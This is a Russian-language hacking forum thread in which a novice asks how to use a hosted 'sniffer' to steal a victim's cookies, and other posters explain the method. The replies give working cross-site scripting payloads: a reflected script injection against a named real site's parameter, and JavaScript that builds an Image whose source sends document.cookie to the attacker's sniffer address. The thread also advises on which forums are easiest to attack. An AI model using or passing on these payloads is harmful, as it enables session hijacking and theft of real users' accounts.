ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Спасибо конечно что откликнулся, я этот сниффер видел уже, но легкомысленность ламерской души не имеет предела. Дело в том, что я не умею им пользоваться. Допустим я сделал сниффер с логином bla-bla. Тогда адрес сниффера будет выглядеть вот так http://antichat.org/s/bla-bla/log.php. Но я не пойму, какую ссылку мне жертве показывать надобно, а по какой самому заходить? Может кто не матернеться мышленно, да потратить на мою маленькую персону минуту времени???

По этой ссылке у тебя будут отчеты снифера!
А ссылка на снифер вот так http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;

тебе надо заходить на http://antichat.org/s/bla-bla/log.php, а жертве http://antichat.org/s/bla-blaю.gif, нотак ты увидишь только его IP а что б стірить кукисі читай темі про XSS

Pashahak

Сразу на фастбб лезть - это жестоко =)
Потренировался бы на более уязвимых...
Дело то вот в чем - за счет своей системы бесплытнх форумов фастбб имеет очень нифиговую посещаемость. Ессно, рекламодатели туда ломануться, дабы куча народу заценила их фирму или что тама у них... Ну и ессно фастбб дерет нефиговые бабки с рекламодателей... Текстовая ссылка везде - 50 ВМЗ в НЕДЕЛЮ... Поэтому они будут беречь своих юзеров... Короче, если тебе сейчас скажут уявимость таких форумов, то, скороей всего, ее залатают в ближайшие 24 часа =) А найти там багу уже ой как не просто...

Что-то я не понимаю, при чем та ссылка именно к моему снифферу зарегеному, и как вообще инфо отправиться на мой сниффер bla-bla если в ней нету и намека на него?

Тьху мля как дела плохи, действительно, нус, что ж, мож кто прямую ссылочку на XSS для фастББ даст тупому ламеру?

Пацаны, а допустим есть XSS http://www.neora.ru/anketa/index.php?latter="><script>alert()</script> как ее перекрутить чтоб кукисы украсть с помощью высше описанного сниффера ( тут мне ничего не нужно, я только принцип узнать хочу ) Заранее спасибо.

По теории вместо
alert()
ставишь
img = new Image(); img.src = "АДРЕС_ТВОЕГО_СНИФЕРА?"+document .cookie;

<script language="JavaScript">aa1 = new Image(); aa1.src="Сниффер"+document.cookie;</script>